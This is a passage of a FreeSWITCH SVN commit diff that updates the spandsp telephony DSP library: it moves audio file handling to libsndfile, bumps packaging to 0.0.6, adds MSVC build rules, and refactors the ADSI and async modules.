-AFfilehandle afOpenFile_telephony_write(const char *name, int channels)
+SPAN_DECLARE(SNDFILE *) sf_open_telephony_write(const char *name, int channels)
 {
-    AFfilesetup setup;
-    AFfilehandle handle;
+    SNDFILE *handle;
+    SF_INFO info;
 
-    if ((setup = afNewFileSetup()) == AF_NULL_FILESETUP)
-    {
-        fprintf(stderr, "    %s: Failed to create file setup\n", name);
-        exit(2);
-    }
-    afInitSampleFormat(setup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-    afInitRate(setup, AF_DEFAULT_TRACK, (float) SAMPLE_RATE);
-    afInitFileFormat(setup, AF_FILE_WAVE);
-    afInitChannels(setup, AF_DEFAULT_TRACK, channels);
+    memset(&info, 0, sizeof(info));
+    info.frames = 0;
+    info.samplerate = SAMPLE_RATE;
+    info.channels = channels;
+    info.format = SF_FORMAT_WAV | SF_FORMAT_PCM_16;
+    info.sections = 1;
+    info.seekable = 1;
 
-    if ((handle = afOpenFile(name, "w", setup)) == AF_NULL_FILEHANDLE)
+    if ((handle = sf_open(name, SFM_WRITE, &info)) == NULL)
     {
-        fprintf(stderr, "    Failed to open result file\n");
+        fprintf(stderr, "    Cannot open audio file '%s' for writing\n", name);
         exit(2);
     }
-    afFreeFileSetup(setup);
 
     return handle;
 }

Copied: freeswitch/branches/seven/libs/spandsp/spandsp.pc.in (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp.pc.in) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp.pc.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/spandsp.pc.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+prefix=@prefix@
+exec_prefix=@exec_prefix@
+libdir=@libdir@
+includedir=@includedir@
+
+Name: spandsp
+Description: A DSP library for telephony.
+Requires:
+Version: @VERSION@
+Libs: -L${libdir} -lspandsp -ltiff -lm
+Cflags: -I${includedir}

Modified: freeswitch/branches/seven/libs/spandsp/spandsp.spec (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp.spec	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp.spec	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,12 +1,12 @@
 Summary:    A DSP library for telephony.
 Name:       spandsp
-Version:    0.0.5
+Version:    0.0.6
 Release:    1
 License:    LGPL
 Group:      System Environment/Libraries
 URL:        http://www.soft-switch.org/spandsp
 BuildRoot:  %{_tmppath}/%{name}-%{version}-root
-Source:     http://www.soft-switch.org/downloads/spandsp/spandsp-0.0.5.tar.gz
+Source:     http://www.soft-switch.org/downloads/spandsp/spandsp-0.0.6.tar.gz
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: libtiff-devel
@@ -62,6 +62,7 @@
 %{_includedir}/spandsp.h
 %{_includedir}/spandsp
 %{_libdir}/libspandsp.so
+%{_libdir}/pkgconfig/spandsp.pc
 
 %post -p /sbin/ldconfig
 
@@ -72,7 +73,7 @@
 - Preparing for 0.0.5pre4 release
 - License: LGPL
 
-* Mon 23 Jun 2008 Steve Underwood <steveu@coppice.org> 0.0.5-1
+* Mon Jun 23 2008 Steve Underwood <steveu@coppice.org> 0.0.5-1
 - Cleared out the dependency on libxml2
 
 * Sun Dec 31 2006 Steve Underwood <steveu@coppice.org> 0.0.3-1

Modified: freeswitch/branches/seven/libs/spandsp/spandsp.spec.in (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp.spec.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp.spec.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -62,6 +62,7 @@
 %{_includedir}/spandsp.h
 %{_includedir}/spandsp
 %{_libdir}/libspandsp.so
+%{_libdir}/pkgconfig/spandsp.pc
 
 %post -p /sbin/ldconfig
 
@@ -72,7 +73,7 @@
 - Preparing for 0.0.5pre4 release
 - License: LGPL
 
-* Mon 23 Jun 2008 Steve Underwood <steveu@coppice.org> 0.0.5-1
+* Mon Jun 23 2008 Steve Underwood <steveu@coppice.org> 0.0.5-1
 - Cleared out the dependency on libxml2
 
 * Sun Dec 31 2006 Steve Underwood <steveu@coppice.org> 0.0.3-1

Property changes: freeswitch/branches/seven/libs/spandsp/src


Name: svn:ignore
   - v22bis_rx_1200_fixed_rrc.h
v22bis_tx_fixed_rrc.h
v27ter_tx_4800_floating_rrc.h
v22bis_rx_2400_floating_rrc.h
v17tx_fixed_rrc.h
v27ter_rx_2400_fixed_rrc.h
v29rx_fixed_rrc.h
make_at_dictionary
v17rx_floating_rrc.h
v17tx_floating_rrc.h
Makefile
v27ter_tx_2400_fixed_rrc.h
v27ter_rx_4800_floating_rrc.h
spandsp.h
v17rx_fixed_rrc.h
v29rx_floating_rrc.h
v29tx_floating_rrc.h
v27ter_rx_4800_fixed_rrc.h
v27ter_tx_2400_floating_rrc.h
v22bis_rx_2400_fixed_rrc.h
at_interpreter_dictionary.h
Makefile.in
config.h
.deps
v27ter_tx_4800_fixed_rrc.h
v22bis_rx_1200_floating_rrc.h
v29tx_fixed_rrc.h
v22bis_tx_floating_rrc.h
make_modem_filter
.libs
v27ter_rx_2400_floating_rrc.h
stamp-h1
   + v22bis_rx_1200_fixed_rrc.h
v22bis_tx_fixed_rrc.h
v27ter_tx_4800_floating_rrc.h
v22bis_rx_2400_floating_rrc.h
v17tx_fixed_rrc.h
v27ter_rx_2400_fixed_rrc.h
v29rx_fixed_rrc.h
make_at_dictionary
v17rx_floating_rrc.h
v17tx_floating_rrc.h
Makefile
v27ter_tx_2400_fixed_rrc.h
v27ter_rx_4800_floating_rrc.h
spandsp.h
v17rx_fixed_rrc.h
v29rx_floating_rrc.h
v29tx_floating_rrc.h
v27ter_rx_4800_fixed_rrc.h
v27ter_tx_2400_floating_rrc.h
v22bis_rx_2400_fixed_rrc.h
at_interpreter_dictionary.h
Makefile.in
config.h
.deps
v27ter_tx_4800_fixed_rrc.h
v22bis_rx_1200_floating_rrc.h
v29tx_fixed_rrc.h
v22bis_tx_floating_rrc.h
make_modem_filter
.libs
v27ter_rx_2400_floating_rrc.h
stamp-h1
Debug
*.ncb
*.suo
*.user
Release
all
x64
All
v17_v32bis_rx_fixed_rrc.h
v17_v32bis_rx_floating_rrc.h
v17_v32bis_tx_fixed_rrc.h
v17_v32bis_tx_floating_rrc.h

Modified: freeswitch/branches/seven/libs/spandsp/src/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,7 +16,7 @@
 ## License along with this program; if not, write to the Free Software
 ## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 ##
-## $Id: Makefile.am,v 1.105 2008/09/30 18:12:42 steveu Exp $
+## $Id: Makefile.am,v 1.135 2009/07/12 09:23:09 steveu Exp $
 
 AM_CFLAGS = $(COMP_VENDOR_CFLAGS)
 AM_LDFLAGS = $(COMP_VENDOR_LDFLAGS)
@@ -24,20 +24,37 @@
 MAINTAINERCLEANFILES = Makefile.in
 
 EXTRA_DIST = floating_fudge.h \
-             spandsp/version.h.in \
              libspandsp.dsp \
-             libspandsp.sln \
-             libspandsp.vcproj \
+             libspandsp.2005.sln \
+             libspandsp.2008.sln \
+             libspandsp.2005.vcproj \
+             libspandsp.2008.vcproj \
+             libtiff.2005.vcproj \
+             libtiff.2008.vcproj \
+             msvc/config.h \
+             msvc/Download_TIFF.2005.vcproj \
+             msvc/Download_TIFF.2008.vcproj \
+             msvc/getopt.c \
              msvc/gettimeofday.c \
              msvc/inttypes.h \
+             msvc/make_at_dictionary.2005.vcproj \
+             msvc/make_at_dictionary.2008.vcproj \
+             msvc/make_modem_filter.2005.vcproj \
+             msvc/make_modem_filter.2008.vcproj \
+             msvc/msvcproj.head \
+             msvc/msvcproj.foot \
+             msvc/spandsp.h \
              msvc/tgmath.h \
+             msvc/tiff/cleancount \
              msvc/unistd.h \
+             msvc/util.vbs \
+             msvc/vc8proj.foot \
+             msvc/vc8proj.head \
+             msvc/vc9proj.foot \
+             msvc/vc9proj.head \
              msvc/sys/time.h \
-             msvc/spandsp.def \
-             msvc/msvcproj.head \
-             msvc/msvcproj.foot \
-             msvc/vc8proj.head \
-             msvc/vc8proj.foot
+             spandsp/private/README \
+             spandsp/version.h.in
 
 INCLUDES = -I$(top_builddir)
 
@@ -60,6 +77,7 @@
                         dtmf.c \
                         echo.c \
                         fax.c \
+                        fax_modems.c \
                         fsk.c \
                         g711.c \
                         g722.c \
@@ -108,6 +126,7 @@
                         tone_generate.c \
                         v17rx.c \
                         v17tx.c \
+                        v18.c \
                         v22bis_rx.c \
                         v22bis_tx.c \
                         v27ter_rx.c \
@@ -120,7 +139,7 @@
                         vector_float.c \
                         vector_int.c
 
-libspandsp_la_LDFLAGS = -version-info @SPANDSP_LT_CURRENT@:@SPANDSP_LT_REVISION@:@SPANDSP_LT_AGE@
+libspandsp_la_LDFLAGS = -version-info @SPANDSP_LT_CURRENT@:@SPANDSP_LT_REVISION@:@SPANDSP_LT_AGE@ $(COMP_VENDOR_LDFLAGS)
 
 nobase_include_HEADERS = spandsp/adsi.h \
                          spandsp/async.h \
@@ -141,6 +160,7 @@
                          spandsp/dds.h \
                          spandsp/dtmf.h \
                          spandsp/echo.h \
+                         spandsp/fast_convert.h \
                          spandsp/fax.h \
                          spandsp/fax_modems.h \
                          spandsp/fir.h \
@@ -186,6 +206,7 @@
                          spandsp/tone_generate.h \
                          spandsp/v17rx.h \
                          spandsp/v17tx.h \
+                         spandsp/v18.h \
                          spandsp/v22bis.h \
                          spandsp/v27ter_rx.h \
                          spandsp/v27ter_tx.h \
@@ -196,7 +217,57 @@
                          spandsp/v8.h \
                          spandsp/vector_float.h \
                          spandsp/vector_int.h \
-                         spandsp/version.h
+                         spandsp/version.h \
+                         spandsp/private/adsi.h \
+                         spandsp/private/async.h \
+                         spandsp/private/at_interpreter.h \
+                         spandsp/private/awgn.h \
+                         spandsp/private/bell_r2_mf.h \
+                         spandsp/private/bert.h \
+                         spandsp/private/bitstream.h \
+                         spandsp/private/dtmf.h \
+                         spandsp/private/fax.h \
+                         spandsp/private/fax_modems.h \
+                         spandsp/private/fsk.h \
+                         spandsp/private/g711.h \
+                         spandsp/private/g722.h \
+                         spandsp/private/g726.h \
+                         spandsp/private/gsm0610.h \
+                         spandsp/private/hdlc.h \
+                         spandsp/private/ima_adpcm.h \
+                         spandsp/private/logging.h \
+                         spandsp/private/lpc10.h \
+                         spandsp/private/modem_connect_tones.h \
+                         spandsp/private/noise.h \
+                         spandsp/private/oki_adpcm.h \
+                         spandsp/private/queue.h \
+                         spandsp/private/schedule.h \
+                         spandsp/private/sig_tone.h \
+                         spandsp/private/silence_gen.h \
+                         spandsp/private/super_tone_rx.h \
+                         spandsp/private/super_tone_tx.h \
+                         spandsp/private/t30.h \
+                         spandsp/private/t31.h \
+                         spandsp/private/t38_core.h \
+                         spandsp/private/t38_gateway.h \
+                         spandsp/private/t38_non_ecm_buffer.h \
+                         spandsp/private/t38_terminal.h \
+                         spandsp/private/t4.h \
+                         spandsp/private/time_scale.h \
+                         spandsp/private/tone_detect.h \
+                         spandsp/private/tone_generate.h \
+                         spandsp/private/v17rx.h \
+                         spandsp/private/v17tx.h \
+                         spandsp/private/v18.h \
+                         spandsp/private/v22bis.h \
+                         spandsp/private/v27ter_rx.h \
+                         spandsp/private/v27ter_tx.h \
+                         spandsp/private/v29rx.h \
+                         spandsp/private/v29tx.h \
+                         spandsp/private/v42.h \
+                         spandsp/private/v42bis.h \
+                         spandsp/private/v8.h \
+                         spandsp/expose.h
 
 nodist_include_HEADERS = spandsp.h
 
@@ -204,10 +275,11 @@
                         filter_tools.h \
                         gsm0610_local.h \
                         lpc10_encdecs.h \
+                        mmx_sse_decs.h \
                         t30_local.h \
                         t4_states.h \
-                        v17rx_constellation_maps.h \
-                        v17tx_constellation_maps.h \
+                        v17_v32bis_rx_constellation_maps.h \
+                        v17_v32bis_tx_constellation_maps.h \
                         v29tx_constellation_maps.h
 
 noinst_PROGRAMS = make_at_dictionary \
@@ -226,26 +298,30 @@
 at_interpreter_dictionary.h: make_at_dictionary$(EXEEXT)
 	./make_at_dictionary$(EXEEXT) >at_interpreter_dictionary.h
 
-v17rx.$(OBJEXT): v17rx_fixed_rrc.h v17rx_floating_rrc.h
+t4.$(OBJEXT): spandsp/version.h
 
-v17rx.lo: v17rx_fixed_rrc.h v17rx_floating_rrc.h
+t4.lo: spandsp/version.h
 
-v17rx_fixed_rrc.h: make_modem_filter$(EXEEXT)
-	./make_modem_filter$(EXEEXT) -m V.17 -i -r >v17rx_fixed_rrc.h
+v17rx.$(OBJEXT): v17_v32bis_rx_fixed_rrc.h v17_v32bis_rx_floating_rrc.h
 
-v17rx_floating_rrc.h: make_modem_filter$(EXEEXT)
-	./make_modem_filter$(EXEEXT) -m V.17 -r >v17rx_floating_rrc.h
+v17rx.lo: v17_v32bis_rx_fixed_rrc.h v17_v32bis_rx_floating_rrc.h
 
-v17tx.$(OBJEXT): v17tx_fixed_rrc.h v17tx_floating_rrc.h
+v17_v32bis_rx_fixed_rrc.h: make_modem_filter$(EXEEXT)
+	./make_modem_filter$(EXEEXT) -m V.17 -i -r >v17_v32bis_rx_fixed_rrc.h
 
-v17tx.lo: v17tx_fixed_rrc.h v17tx_floating_rrc.h
+v17_v32bis_rx_floating_rrc.h: make_modem_filter$(EXEEXT)
+	./make_modem_filter$(EXEEXT) -m V.17 -r >v17_v32bis_rx_floating_rrc.h
 
-v17tx_fixed_rrc.h: make_modem_filter$(EXEEXT)
-	./make_modem_filter$(EXEEXT) -m V.17 -i -t >v17tx_fixed_rrc.h
+v17tx.$(OBJEXT): v17_v32bis_tx_fixed_rrc.h v17_v32bis_tx_floating_rrc.h
 
-v17tx_floating_rrc.h: make_modem_filter$(EXEEXT)
-	./make_modem_filter$(EXEEXT) -m V.17 -t >v17tx_floating_rrc.h
+v17tx.lo: v17_v32bis_tx_fixed_rrc.h v17_v32bis_tx_floating_rrc.h
 
+v17_v32bis_tx_fixed_rrc.h: make_modem_filter$(EXEEXT)
+	./make_modem_filter$(EXEEXT) -m V.17 -i -t >v17_v32bis_tx_fixed_rrc.h
+
+v17_v32bis_tx_floating_rrc.h: make_modem_filter$(EXEEXT)
+	./make_modem_filter$(EXEEXT) -m V.17 -t >v17_v32bis_tx_floating_rrc.h
+
 v22bis_rx.$(OBJEXT): v22bis_rx_1200_fixed_rrc.h \
                      v22bis_rx_2400_fixed_rrc.h \
                      v22bis_rx_1200_floating_rrc.h \
@@ -343,13 +419,15 @@
 	./make_modem_filter$(EXEEXT) -m V.29 -t >v29tx_floating_rrc.h
 
 DSP = libspandsp.dsp
-VCPROJ = libspandsp.vcproj
+VCPROJ8 = libspandsp.2005.vcproj
+VCPROJ9 = libspandsp.2008.vcproj
 
-WIN32SOURCES = $(libspandsp_la_SOURCES) msvc/gettimeofday.c
+WIN32SOURCES = $(libspandsp_la_SOURCES) .\\msvc\\gettimeofday.c
 WIN32HEADERS = $(nobase_include_HEADERS) spandsp.h
 
 DSPOUT = | awk '{printf("%s\r\n", $$0)}' >> $(DSP)
-VCPROJOUT = | awk '{printf("%s\r\n", $$0)}' >> $(VCPROJ)
+VCPROJOUT8 = | awk '{printf("%s\r\n", $$0)}' >> $(VCPROJ8)
+VCPROJOUT9 = | awk '{printf("%s\r\n", $$0)}' >> $(VCPROJ9)
 
 $(DSP): msvc/msvcproj.head msvc/msvcproj.foot Makefile.am
 	echo "creating $(DSP)"
@@ -372,18 +450,39 @@
 	echo "# End Group" $(DSPOUT); \
 	cat $(srcdir)/msvc/msvcproj.foot $(DSPOUT) )
 
-$(VCPROJ): msvc/vc8proj.head msvc/vc8proj.foot Makefile.am
-	echo "creating $(VCPROJ)"
-	@(cp $(srcdir)/msvc/vc8proj.head $(VCPROJ); \
+$(VCPROJ8): msvc/vc8proj.head msvc/vc8proj.foot Makefile.am
+	echo "creating $(VCPROJ8)"
+	@(cp $(srcdir)/msvc/vc8proj.head $(VCPROJ8); \
 	for file in $(WIN32SOURCES); do \
-		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT); \
+		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT8); \
 	done; \
-	echo "</Filter><Filter  Name=\"Header Files\">" $(VCPROJOUT); \
+	echo "</Filter><Filter  Name=\"Header Files\">" $(VCPROJOUT8); \
 	for file in $(WIN32HEADERS); do \
-		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT); \
+		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT8); \
 	done; \
-	cat $(srcdir)/msvc/vc8proj.foot $(VCPROJOUT) )
+	cat $(srcdir)/msvc/vc8proj.foot $(VCPROJOUT8) )
 
+$(VCPROJ9): msvc/vc9proj.head msvc/vc9proj.foot Makefile.am
+	echo "creating $(VCPROJ9)"
+	@(cp $(srcdir)/msvc/vc9proj.head $(VCPROJ9); \
+	for file in $(WIN32SOURCES); do \
+		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT9); \
+	done; \
+	echo "</Filter><Filter  Name=\"Header Files\">" $(VCPROJOUT9); \
+	for file in $(WIN32HEADERS); do \
+		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT9); \
+	done; \
+	cat $(srcdir)/msvc/vc9proj.foot $(VCPROJOUT9) )
+
+$(srcdir)/msvc/spandsp.h: spandsp.h.in
+	echo "creating $(srcdir)/msvc/spandsp.h"
+	@sed -e "s/#define _SPANDSP_H_/#define _SPANDSP_H_\n\n#define __inline__ __inline\n#pragma warning(disable:4200)/" \
+	     -e "s/\@SPANDSP_USE_FIXED_POINT\@/#undef SPANDSP_USE_FIXED_POINT/" \
+	     -e "s/\@SPANDSP_MISALIGNED_ACCESS_FAILS\@/#undef SPANDSP_MISALIGNED_ACCESS_FAILS/" \
+	     -e "s/\@SPANDSP_USE_EXPORT_CAPABILITY\@/#define SPANDSP_USE_EXPORT_CAPABILITY 1/" \
+	     -e "s/\@INSERT_INTTYPES_HEADER\@/#include <msvc\/inttypes.h>/" \
+	     -e "s/\@INSERT_MATH_HEADER\@/#include <math.h>/" $(srcdir)/spandsp.h.in > $(srcdir)/msvc/spandsp.h
+
 spandsp/version.h:
 	NOWDATE=`date --utc +"%Y%m%d"` ; \
 	NOWTIME=`date --utc +"%H%M%S"` ; \

Modified: freeswitch/branches/seven/libs/spandsp/src/adsi.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/adsi.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/adsi.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,29 +23,30 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: adsi.c,v 1.60 2008/09/07 12:45:16 steveu Exp $
+ * $Id: adsi.c,v 1.76 2009/04/12 09:12:10 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/logging.h"
 #include "spandsp/queue.h"
 #include "spandsp/complex.h"
@@ -60,14 +61,27 @@
 #include "spandsp/dtmf.h"
 #include "spandsp/adsi.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/queue.h"
+#include "spandsp/private/tone_generate.h"
+#include "spandsp/private/async.h"
+#include "spandsp/private/fsk.h"
+#include "spandsp/private/dtmf.h"
+#include "spandsp/private/adsi.h"
+
+/*! The baudot code to shift from alpha to digits and symbols */
 #define BAUDOT_FIGURE_SHIFT     0x1B
+/*! The baudot code to shift from digits and symbols to alpha */
 #define BAUDOT_LETTER_SHIFT     0x1F
 
-#define SOH 0x01
-#define STX 0x02
-#define ETX 0x03
-#define DLE 0x10
-#define SUB 0x1A
+enum
+{
+    SOH = 0x01,
+    STX = 0x02,
+    ETX = 0x03,
+    DLE = 0x10,
+    SUB = 0x1A
+};
 
 static uint16_t adsi_encode_baudot(adsi_tx_state_t *s, uint8_t ch);
 static uint8_t adsi_decode_baudot(adsi_rx_state_t *s, uint8_t ch);
@@ -174,18 +188,16 @@
     if (bit < 0)
     {
         /* Special conditions */
+        span_log(&s->logging, SPAN_LOG_FLOW, "ADSI signal status is %s (%d)\n", signal_status_to_str(bit), bit);
         switch (bit)
         {
         case SIG_STATUS_CARRIER_UP:
-            span_log(&s->logging, SPAN_LOG_FLOW, "Carrier up.\n");
             s->consecutive_ones = 0;
             s->bit_pos = 0;
             s->in_progress = 0;
             s->msg_len = 0;
-            s->baudot_shift = 0;
             break;
         case SIG_STATUS_CARRIER_DOWN:
-            span_log(&s->logging, SPAN_LOG_FLOW, "Carrier down.\n");
             break;
         default:
             span_log(&s->logging, SPAN_LOG_WARNING, "Unexpected special put bit value - %d!\n", bit);
@@ -294,10 +306,11 @@
     uint8_t octet;
     
     s = (adsi_rx_state_t *) user_data;
+    //printf("Rx bit %x\n", bit);
     if (byte < 0)
     {
         /* Special conditions */
-        printf("Status is %s (%d)\n", signal_status_to_str(byte), byte);
+        span_log(&s->logging, SPAN_LOG_FLOW, "ADSI signal status is %s (%d)\n", signal_status_to_str(byte), byte);
         switch (byte)
         {
         case SIG_STATUS_CARRIER_UP:
@@ -305,7 +318,6 @@
             s->bit_pos = 0;
             s->in_progress = 0;
             s->msg_len = 0;
-            s->baudot_shift = 0;
             break;
         case SIG_STATUS_CARRIER_DOWN:
             if (s->msg_len > 0)
@@ -321,7 +333,7 @@
         }
         return;
     }
-    if ((octet = adsi_decode_baudot(s, (uint8_t) byte)))
+    if ((octet = adsi_decode_baudot(s, (uint8_t) (byte & 0x1F))))
         s->msg[s->msg_len++] = octet;
     if (s->msg_len >= 256)
     {
@@ -384,7 +396,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int adsi_rx(adsi_rx_state_t *s, const int16_t *amp, int len)
+SPAN_DECLARE(int) adsi_rx(adsi_rx_state_t *s, const int16_t amp[], int len)
 {
     switch (s->standard)
     {
@@ -403,10 +415,10 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-adsi_rx_state_t *adsi_rx_init(adsi_rx_state_t *s,
-                              int standard,
-                              put_msg_func_t put_msg,
-                              void *user_data)
+SPAN_DECLARE(adsi_rx_state_t *) adsi_rx_init(adsi_rx_state_t *s,
+                                             int standard,
+                                             put_msg_func_t put_msg,
+                                             void *user_data)
 {
     if (s == NULL)
     {
@@ -430,8 +442,9 @@
         dtmf_rx_init(&(s->dtmfrx), adsi_rx_dtmf, s);
         break;
     case ADSI_STANDARD_TDD:
-        fsk_rx_init(&(s->fskrx), &preset_fsk_specs[FSK_WEITBRECHT], FALSE, async_rx_put_bit, &(s->asyncrx));
-        async_rx_init(&(s->asyncrx), 5, ASYNC_PARITY_NONE, 2, TRUE, adsi_tdd_put_async_byte, s);
+        /* TDD uses 5 bit data, no parity and 1.5 stop bits. We scan for the first stop bit, and
+           ride over the fraction. */
+        fsk_rx_init(&(s->fskrx), &preset_fsk_specs[FSK_WEITBRECHT], 7, adsi_tdd_put_async_byte, s);
         break;
     }
     s->standard = standard;
@@ -440,8 +453,21 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int adsi_tx(adsi_tx_state_t *s, int16_t *amp, int max_len)
+SPAN_DECLARE(int) adsi_rx_release(adsi_rx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) adsi_rx_free(adsi_rx_state_t *s)
+{
+    free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) adsi_tx(adsi_tx_state_t *s, int16_t amp[], int max_len)
+{
     int len;
     int lenx;
 
@@ -468,17 +494,17 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void adsi_tx_send_alert_tone(adsi_tx_state_t *s)
+SPAN_DECLARE(void) adsi_tx_send_alert_tone(adsi_tx_state_t *s)
 {
     tone_gen_init(&(s->alert_tone_gen), &(s->alert_tone_desc));
 }
 /*- End of function --------------------------------------------------------*/
 
-void adsi_tx_set_preamble(adsi_tx_state_t *s,
-                          int preamble_len,
-                          int preamble_ones_len,
-                          int postamble_ones_len,
-                          int stop_bits)
+SPAN_DECLARE(void) adsi_tx_set_preamble(adsi_tx_state_t *s,
+                                        int preamble_len,
+                                        int preamble_ones_len,
+                                        int postamble_ones_len,
+                                        int stop_bits)
 {
     if (preamble_len < 0)
     {
@@ -527,7 +553,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int adsi_tx_put_message(adsi_tx_state_t *s, const uint8_t *msg, int len)
+SPAN_DECLARE(int) adsi_tx_put_message(adsi_tx_state_t *s, const uint8_t *msg, int len)
 {
     int i;
     int j;
@@ -616,7 +642,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-adsi_tx_state_t *adsi_tx_init(adsi_tx_state_t *s, int standard)
+SPAN_DECLARE(adsi_tx_state_t *) adsi_tx_init(adsi_tx_state_t *s, int standard)
 {
     if (s == NULL)
     {
@@ -642,6 +668,19 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+SPAN_DECLARE(int) adsi_tx_release(adsi_tx_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) adsi_tx_free(adsi_tx_state_t *s)
+{
+    free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
 static uint16_t adsi_encode_baudot(adsi_tx_state_t *s, uint8_t ch)
 {
     static const uint8_t conv[128] =
@@ -824,7 +863,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int adsi_next_field(adsi_rx_state_t *s, const uint8_t *msg, int msg_len, int pos, uint8_t *field_type, uint8_t const **field_body, int *field_len)
+SPAN_DECLARE(int) adsi_next_field(adsi_rx_state_t *s, const uint8_t *msg, int msg_len, int pos, uint8_t *field_type, uint8_t const **field_body, int *field_len)
 {
     int i;
 
@@ -944,7 +983,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int adsi_add_field(adsi_tx_state_t *s, uint8_t *msg, int len, uint8_t field_type, uint8_t const *field_body, int field_len)
+SPAN_DECLARE(int) adsi_add_field(adsi_tx_state_t *s, uint8_t *msg, int len, uint8_t field_type, uint8_t const *field_body, int field_len)
 {
     int i;
     int x;
@@ -1023,7 +1062,7 @@
             if (field_type != CLIP_DTMF_HASH_UNSPECIFIED)
                 msg[len++] = field_type;
             memcpy(msg + len, field_body, field_len);
-            msg[len + field_len] = x;
+            msg[len + field_len] = (uint8_t) x;
             len += (field_len + 1);
         }
         break;
@@ -1046,7 +1085,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *adsi_standard_to_str(int standard)
+SPAN_DECLARE(const char *) adsi_standard_to_str(int standard)
 {
     switch (standard)
     {

Modified: freeswitch/branches/seven/libs/spandsp/src/async.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/async.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/async.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: async.c,v 1.13 2008/09/07 12:45:16 steveu Exp $
+ * $Id: async.c,v 1.19 2009/04/23 14:12:34 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
@@ -39,7 +39,9 @@
 #include "spandsp/telephony.h"
 #include "spandsp/async.h"
 
-const char *signal_status_to_str(int status)
+#include "spandsp/private/async.h"
+
+SPAN_DECLARE(const char *) signal_status_to_str(int status)
 {
     switch (status)
     {
@@ -65,18 +67,22 @@
         return "Shutdown complete";
     case SIG_STATUS_OCTET_REPORT:
         return "Octet report";
+    case SIG_STATUS_POOR_SIGNAL_QUALITY:
+        return "Poor signal quality";
+    case SIG_STATUS_MODEM_RETRAIN_OCCURRED:
+        return "Modem retrain occurred";
     }
     return "???";
 }
 /*- End of function --------------------------------------------------------*/
 
-async_rx_state_t *async_rx_init(async_rx_state_t *s,
-                                int data_bits,
-                                int parity,
-                                int stop_bits,
-                                int use_v14,
-                                put_byte_func_t put_byte,
-                                void *user_data)
+SPAN_DECLARE(async_rx_state_t *) async_rx_init(async_rx_state_t *s,
+                                               int data_bits,
+                                               int parity,
+                                               int stop_bits,
+                                               int use_v14,
+                                               put_byte_func_t put_byte,
+                                               void *user_data)
 {
     if (s == NULL)
     {
@@ -101,8 +107,21 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void async_rx_put_bit(void *user_data, int bit)
+SPAN_DECLARE(int) async_rx_release(async_rx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) async_rx_free(async_rx_state_t *s)
+{
+    free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
